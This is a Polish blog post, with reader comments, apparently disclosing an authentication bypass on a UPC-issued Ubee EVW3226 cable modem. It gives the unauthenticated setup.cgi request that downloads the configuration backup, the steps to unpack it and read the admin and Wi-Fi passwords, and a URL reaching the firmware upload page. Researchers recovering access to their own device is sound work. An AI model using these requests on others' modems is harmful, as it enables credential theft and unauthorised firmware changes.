Friday, February 19, 2016

Odzyskiwane admina - analiza pliku konfiguracyjnego do modemu UPC

Ten post mógł się pojawić już pod koniec kwietnia 2015, kiedy przyjechał instalator i podłączył modem Ubee z oprogramowaniem EVW3226_1.0.16 - model EVW 3226. Nie miałem specjalnie czasu ani motywacji (w końcu to sprzęt od ISP) na potestowanie zabezpieczeń. Oczywiście w dniu instalacji zalogowałem się do modemu, ustawiłem to, co mi było potrzebne, zmieniłem hasło do modemu żeby je potem zapomnieć. Zrobiłem backup konfiguracji + ruch na interfejsie sieciowym loguję na dysku. Nie lubię przywracania ustawień fabrycznych, nawet jeśli konfiguracja była prosta.
Po tygodniu próbowałem się zalogować do modemu- ACCESS DENIED. Po kilkunastu próbach zalogowania i poszukiwaniu backupu okazało się, że hasła nie pamiętam, pliku nie mam lub nie wiem który jest właściwy- a zapisywanie konfiguracji i każdorazowe restartowanie modemu jest mało ciekawe.

Poinformowałem UPC o tym bugu. Potwierdzili, nie dostałem odpowiedzi. Po kilku miesiącach przypomniałem się, oddzwonił ktoś z firmy z informacją, że problem został rozwiązany. Mój modem nie ma innej wersji oprogramowania niż pierwotna, bug jest nadal. Nie działa, przynajmniej w takiej formie od strony sieci publicznej.


0x01 - Modem sprawdza czy podaję właściwe hasło
0x02 - Zatem ono gdzieś tam JEST
0x03 - Odzyskujemy dane z hasłem i odczytujemy je jeśli to możliwe, jeśli nie, również odczytujemy.

Odfiltrowałem ruch HTTP do adresu 192.168.0.1 z logów, bo pod takim GUI routera jest dostępne, z dnia, kiedy była instalacja. W logach odnalazłem żądanie, którym  pobrałem kopię zapasową na dysk: GET /cgi-bin/setup.cgi?gonext=Configuration_file.cfg&Password=EMPTY1369 HTTP/1.1

Nie ma na co czekać, trzeba je wykonać ponownie!

http://192.168.0.1/cgi-bin/setup.cgi?gonext=Configuration_file.cfg&Password=EMPTY1369

No i przyznam szczerze, że się mocno zdziwiłem, to już prawie koniec zabawy o.O

$ ls
-rw-rw-r-- 1 sudokillall sudokillall 5167 sty 13 21:38 Configuration_file.cfg


Plik pobrał się w pierwszej próbie. Przypominam, że nie jestem zalogowany do modemu. Jest opcja szyfrowania pliku konfiguracyjnego, która nie działa. Pobrany plik jest dokładnie taki sam jak nieszyfrowany. Został pobrany ze zdalnej maszyny z lokalizacji /nvram/8.

Czym jesteś pliku?
$ file Configuration_file.cfg
Configuration_file.cfg: data

niczym.

Być może mamy tu bliżej nieokreślony nagłówek, a dane są po prostu skompresowane. Poszukajmy bajtów, które mogą wskazywać na typowe sposoby kompresji: xz, lzma, gzip.

$ hexdump -C Configuration_file.cfg | egrep 'fd 37 |1f 8b|5d 00'
00000000  00 00 32 26 b1 64 7e d5  00 00 14 23 1f 8b 08 00  |..2&.d~....#....| 


Wygląda na to, że na pozycji 0xC znajduje się początek archiwum. Odcinamy pierwsze niepotrzebne bajty:

$ dd if=Configuration_file.cfg of=archiwum bs=1 skip=12
5155+0 przeczytanych recordów
5155+0 zapisanych recordów
skopiowane 5155 bajtów (5,2 kB), 0,0213622 s, 241 kB/s


$ file archiwum
archiwum: gzip compressed data, from Unix, last modified: Wed Jan 13 22:36:42 2016, max compression 

2 wcześniejsze bajty (14 23)  to informacja o rozmiarze pliku po skompresowaniu:

$ echo "ibase=16;1423"|bc
5155


Dalej już jest z górki. Po rozpakowaniu, do dyspozycji mamy strukturę plików

Hasło do modemu znajduje się w pliku "1":

$ cat 1
U>��?�H
       sudokillall


Nazwa sieci WIFI i hasło do niej w pliku "a"

$ hexdump -C a
...
00000030  00 00 00 01 00 84 00 20  73 75 64 6f 2e 6b 69 6c  |....... sudo.kil|
00000040  6c 2e 61 6c 6c 2e 62 6c  6f 67 00 00 00 00 00 00  |l.all.blog......|
00000050  00 00 00 00 00 00 00 00  00 85 00 04 00 00 00 02  |................|
...
000000f0  67 72 61 62 74 68 69 73  70 61 73 73 00 00 00 00  |grabthispass....|
00000100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*

 

├── 0
├── 1
├── 2
├── 3
├── 4
├── 5
├── 6
├── 7
├── 8
├── 9
├── a
├── A
├── b
├── C
├── d
├── D
├── dhcpd
│   ├── udhcpd.192.168.0.1.host
│   └── udhcpd.192.168.100.1.host
├── e
├── E
├── f
├── F
├── g
├── G
├── h
├── H
├── i
├── I
├── j
├── J
├── k
├── l
├── lsddb.ini
├── m
├── n
├── o
├── p
├── parental.allow -> /var/tmp/parental.allow
├── parental.cpe_mac_filter -> /var/tmp/parental.cpe_mac_filter
├── parental.deny -> /var/tmp/parental.deny
├── parental.keyword -> /var/tmp/parental.keyword
├── parental.mac_passthru -> /var/tmp/parental.mac_passthru
├── parental.url -> /var/tmp/parental.url
├── pass.txt
├── q
├── r
├── revaliases
├── rnddb.ini
├── server-cache.xml
├── ssmtp.conf
└── y



Bonus, wywołanie poniższego linku, spowoduje możliwość uploadu testowego obrazu do pamięci flash:

http://192.168.0.1/cgi-bin/setup.cgi?gonext=RgSystemBurnSignedImage






11 comments:

  1. Witaj,

    kawał dobrej roboty. Czy udało ci się może rozszyfrować format pliku Configuration_file.cfg w wersji v1 który przyszedł wraz z softem EVW3226_2.07 w lipcu 2016? Drugi bajt zamiast 00 ma 01 co sugeruje wersję v1 w porównaniu do poprzedniej v0:
    P.S. bajty 3 i 4 składają się w 3226 co jest nazwą modelu Ubee 3226.
    Reszta bajtów niestety nie składa się w żaden magic header znanego pakera nawet jak się zapisuje bez hasła:
    00000000 00 01 32 26 f7 eb 5e 2e ec 4d 2b fa 2d ad 3a 26 |..2&..^..M+.-.:&|
    00000010 b3 44 91 71 30 25 df 7b 49 be ee f2 47 b1 df d7 |.D.q0%.{I...G...|
    00000020 82 38 f2 3e 70 4e e1 00 76 fe ed f1 0f 08 cc 4a |.8.>pN..v......J|
    00000030 1a 49 33 7b eb 85 6e bc 36 b8 d8 c6 78 4d 0c 75 |.I3{..n.6...xM.u|
    00000040 dd ad 46 ba b3 ab 7a 46 9a 48 9a 5d 2f cd 1f 49 |..F...zF.H.]/..I|
    00000050 f0 fb 4d 1e 6d 03 84 24 25 6d dd 84 40 da 92 17 |..M.m..$%m..@...|
    00000060 24 c4 49 20 6d fa 48 02 79 b4 69 d3 37 7d 3f 92 |$.I m.H.y.i.7}?.|
    00000070 be d2 7e ed d7 d0 7b 35 77 34 da 9d d9 59 c9 dd |..~...{5w4...Y..|
    00000080 d5 6a ec f3 c3 ac ae ae 7e ba 3a 3a 57 e7 de 7b |.j......~.::W..{|
    00000090 ce d5 5c 09 dc d2 43 20 28 2a 8a bf 25 98 bb 15 |..\...C (*..%...|

    ReplyDelete
    Replies
    1. Cześć. Dzięki! Niestety, sprawdziłem wersję softu jaki mam na modemie: Wersja oprogramowania EVW3226_1.0.16. Jeśli podeślesz mi na mejla/wrzucisz gdzieś plik, powalczę z nim. sudo.kill.all.blog@gmail.com

      Delete
    2. Dzięki za chęci. Wersja 2.07 wgrała się 29 lipca o 8:00 rano kiedy włączyłem modem. Samo się zaciągnęło z UPC. Dziś jak zapisywałem konfigurację ściągnęła się w formacie który opisałeś i daje się rozpakować. Sprawdziłem wersję i okazało się, że wróciła do 1.0.16 która widać w logach, że zaciągnęła się o 2016-08-05 18:09:40. Jak się googluje po ciągu EVW3226_2.07 to widać, że trochę ludzi ją dostało w Polsce. Z nowych rzeczy zauważyłem nową pozycję w menu wifi to skaner wifi listujący wszystkie okoliczne sieci wifi. Może jeszcze kiedyś wróci.

      Delete
    3. Hi, did you find something with this new configuration file from 2.07 version? I have this firmware version too in Slovakia for some months and cannot find anything.
      The old one was pretty easy to find as showed in this article - 00 00 32 26 (next 4b - CRC32 of archive) (4b - size of archive) (archive).

      Delete
    4. Hi. In a few days I'll make a article about getting a full root on this cable modem via serial port (soldering needed). I changed a ISP since 2017' and don't have this modem anymore.

      Delete
    5. That's great! I tried serial port on old version of this modem but one port was disabled and the other one wanted login with password.
      I did not tried this on my modem connected to cable yet, I wanted to try non-soldering first. I will be waiting then, soldering is no problem (I bought the modem from ISP so it is mine :) ).

      Delete
    6. Can you send me file from 2.07? I'll check if there is something to do with it.

      Delete
    7. I will send it at evening when I get home. To sudo.kill.all.blog@gmail.com?

      Delete
    8. Hi, did you get the configs?

      Delete
    9. Hi, yeap, but your message falled into spam.

      Delete